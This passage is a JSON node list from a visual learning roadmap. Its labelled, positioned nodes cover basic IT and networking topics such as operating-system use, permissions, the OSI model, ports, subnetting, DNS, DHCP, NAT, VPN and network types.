318,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yXOGqlufAZ69uiBzKFfh6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 317.0947456767392,\n        \"y\": 763.2164647830613\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Different Versions and Differences\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 318,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 318,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 317.0947456767392,\n        \"y\": 763.2164647830613\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 318,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MGitS_eJBoY99zOR-W3F4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 317.0947456767392,\n        \"y\": 816.2164647830613\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Navigating using GUI and CLI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 318,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 318,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 317.0947456767392,\n        \"y\": 816.2164647830613\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 318,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bTfL7cPOmBBFl-eHxUJI6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 317.0947456767392,\n        \"y\": 869.2164647830613\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand Permissions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 318,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 318,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 317.0947456767392,\n        \"y\": 869.2164647830613\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 318,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ot3LGpM-CT_nKsNqIKIye\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 317.0947456767392,\n        \"y\": 922.2164647830613\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Installing Software and Applications\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 319,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 319,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 317.0947456767392,\n        \"y\": 922.2164647830613\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 319,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zRXyoJMap9irOYo3AdHE8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 317.0947456767392,\n        \"y\": 975.2164647830613\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Performing CRUD on Files\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 318,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 318,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 317.0947456767392,\n        \"y\": 975.2164647830613\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 318,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xeRWOX1fWQDLNLWMAFTEe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 317.0947456767392,\n        \"y\": 1028.2164647830612\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Troubleshooting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 318,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 318,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 317.0947456767392,\n        \"y\": 1028.2164647830612\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 318,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WDrSO7wBNn-2jB8mcyT7j\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 317.0947456767392,\n        \"y\": 1081.2164647830614\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Common Commands\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 318,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 318,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 317.0947456767392,\n        \"y\": 1081.2164647830614\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 318,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_4aPOIqioIWCEWbPqC6rV\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 373.5283483419462,\n        \"y\": 663.9344853855907\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Learn following for each\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 200,\n      \"height\": 36,\n      \"style\": {},\n      \"focusable\": true,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 373.5283483419462,\n        \"y\": 663.9344853855907\n      },\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 36\n      }\n    },\n    {\n      \"width\": 274,\n      \"height\": 49,\n      \"id\": \"gSLr-Lc119eX9Ig-kDzJ2\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 368.7414006437348,\n        \"y\": 1242.5411782062843\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Networking Knowledge\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_hYN0gEi9BL24nptEtXWU\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 274,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 368.7414006437348,\n        \"y\": 1242.5411782062843\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 274,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OXUd1UPPsBhNoUGLKZJGV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 332.7414006437348,\n        \"y\": 1332.0066383056935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand the OSI Model\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 310,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 310,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 332.7414006437348,\n        \"y\": 1332.0066383056935\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 310,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ViF-mpR17MB3_KJ1rV8mS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 332.7414006437348,\n        \"y\": 1385.0066383056935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Common Protocols and their Uses\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 310,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 310,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 332.7414006437348,\n        \"y\": 1385.0066383056935\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 310,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0tx2QYDYXhm85iYrCWd9U\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 332.7414006437348,\n        \"y\": 1438.0066383056935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Common Ports and their Uses\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 310,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 310,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 332.7414006437348,\n        \"y\": 1438.0066383056935\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 310,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dJ0NUsODFhk52W2zZxoPh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 332.7414006437348,\n        \"y\": 1491.0066383056935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SSL and TLS Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 310,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 310,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 332.7414006437348,\n        \"y\": 1491.0066383056935\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 310,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"umbMBQ0yYmB5PgWfY6zfO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 332.7414006437348,\n        \"y\": 1544.0066383056935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basics of NAS and SAN\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 310,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 310,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 332.7414006437348,\n        \"y\": 1544.0066383056935\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 310,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"E8Z7qFFW-I9ivr0HzoXCq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -11.782541263425742,\n        \"y\": 570.0828362946356\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basics of Subnetting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -11.782541263425742,\n        \"y\": 570.0828362946356\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2nQfhnvBjJg1uDZ28aE4v\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -11.782541263425742,\n        \"y\": 623.0828362946356\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Public vs Private IP Addresses\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 51,\n      \"style\": {\n        \"width\": 281,\n        \"height\": 51\n      },\n      \"positionAbsolute\": {\n        \"x\": -11.782541263425742,\n        \"y\": 623.0828362946356\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 51\n      }\n    },\n    {\n      \"id\": \"ziELvuQjNdneU2r59whyr\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 63.71745873657426,\n        \"y\": 686.0936920538965\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"IP Terminology\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 130,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 63.71745873657426,\n        \"y\": 686.0936920538965\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 130,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"0TWwox-4pSwuXojI8ixFO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -12.319935709390279,\n        \"y\": 729.7592610315122\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"localhost\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -12.319935709390279,\n        \"y\": 729.7592610315122\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"W_oloLu2Euz5zRSy7v_T8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 94.90443096639763,\n        \"y\": 728.6844721395831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"loopback\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 94.90443096639763,\n        \"y\": 728.6844721395831\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PPIH1oHW4_ZDyD3U3shDg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 198.9044309663975,\n        \"y\": 728.6844721395831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CIDR\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"positionAbsolute\": {\n        \"x\": 198.9044309663975,\n        \"y\": 728.6844721395831\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"f-v8qtweWXFY_Ryo3oYUF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -11.782541263425742,\n        \"y\": 782.6844721395831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"subnet mask\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -11.782541263425742,\n        \"y\": 782.6844721395831\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5rKaFtjYx0n2iF8uTLs8X\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -11.782541263425742,\n        \"y\": 835.6844721395831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"default gateway\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -11.782541263425742,\n        \"y\": 835.6844721395831\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YIrr0O9RSwdonm9IuqqLJ\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 14.067880952715768,\n        \"y\": 903.6645670507262\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand the Terminology\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 14.067880952715768,\n        \"y\": 903.6645670507262\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"d5Cv3EXf6OXW19yPJ4x6e\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -6.034652344133178,\n        \"y\": 945.955278295614\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"VLAN\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gTozEpxJeG1NTkVBHH-05\"\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -6.034652344133178,\n        \"y\": 945.955278295614\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gfpvDQz61I3zTB7tGu7vp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 67.96534765586682,\n        \"y\": 945.955278295614\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DMZ\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ORIdKG8H97VkBUYpiDtXf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 76,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 67.96534765586682,\n        \"y\": 945.955278295614\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"M52V7hmG4ORf4TIVw3W3J\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 146.96534765586682,\n        \"y\": 945.955278295614\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ARP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Kkd3f_0OYNCdpDgrJ-_Ju\"\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 146.96534765586682,\n        \"y\": 945.955278295614\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZTC5bLWEIQcdmowc7sk_E\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 210.96534765586688,\n        \"y\": 945.955278295614\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"VM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FdoqB2---uDAyz6xZjk_u\"\n      },\n      \"zIndex\": 999,\n      \"width\": 51,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 51,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 210.96534765586688,\n        \"y\": 945.955278295614\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 51,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"T4312p70FqRBkzVfWKMaR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -6.034652344133178,\n        \"y\": 998.955278295614\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DHCP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gTozEpxJeG1NTkVBHH-05\"\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -6.034652344133178,\n        \"y\": 998.955278295614\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ORIdKG8H97VkBUYpiDtXf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 67.96534765586682,\n        \"y\": 998.955278295614\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DNS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 76,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 67.96534765586682,\n        \"y\": 998.955278295614\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Kkd3f_0OYNCdpDgrJ-_Ju\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 146.96534765586682,\n        \"y\": 998.1796449714019\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"NAT\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 146.96534765586682,\n        \"y\": 998.1796449714019\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FdoqB2---uDAyz6xZjk_u\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 210.96534765586688,\n        \"y\": 998.955278295614\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"IP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 51,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 51,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 210.96534765586688,\n        \"y\": 998.955278295614\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 51,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lwSFIbIX-xOZ0QK2sGFb1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -4.959863452203763,\n        \"y\": 1051.9552782956139\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Router\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gTozEpxJeG1NTkVBHH-05\"\n      },\n      \"zIndex\": 999,\n      \"width\": 86,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 86,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -4.959863452203763,\n        \"y\": 1051.9552782956139\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 86,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"r9byGV8XuBPzoqj5ZPf2W\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 84.68851991059739,\n        \"y\": 1051.9552782956139\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Switch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gTozEpxJeG1NTkVBHH-05\"\n      },\n      \"zIndex\": 999,\n      \"width\": 94,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 94,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 84.68851991059739,\n        \"y\": 1051.9552782956139\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 94,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gTozEpxJeG1NTkVBHH-05\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 183.04013654779618,\n        \"y\": 1051.9552782956139\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"VPN\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ANjrRn83gKjXDVj-2XMfM\"\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 76,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 183.04013654779618,\n        \"y\": 1051.9552782956139\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LrwTMH_1fTd8iB9wJg-0t\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -8.161301594094653,\n        \"y\": 1119.3976333088228\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MAN\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -8.161301594094653,\n        \"y\": 1119.3976333088228\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xWxusBtMEWnd-6n7oqjHz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 65.83869840590535,\n        \"y\": 1119.3976333088228\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"LAN\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 65.83869840590535,\n        \"y\": 1119.3976333088228\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vCkTJMkDXcQmwsmeNUAX5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 129.83869840590535,\n        \"y\": 1119.3976333088228\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"WAN\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 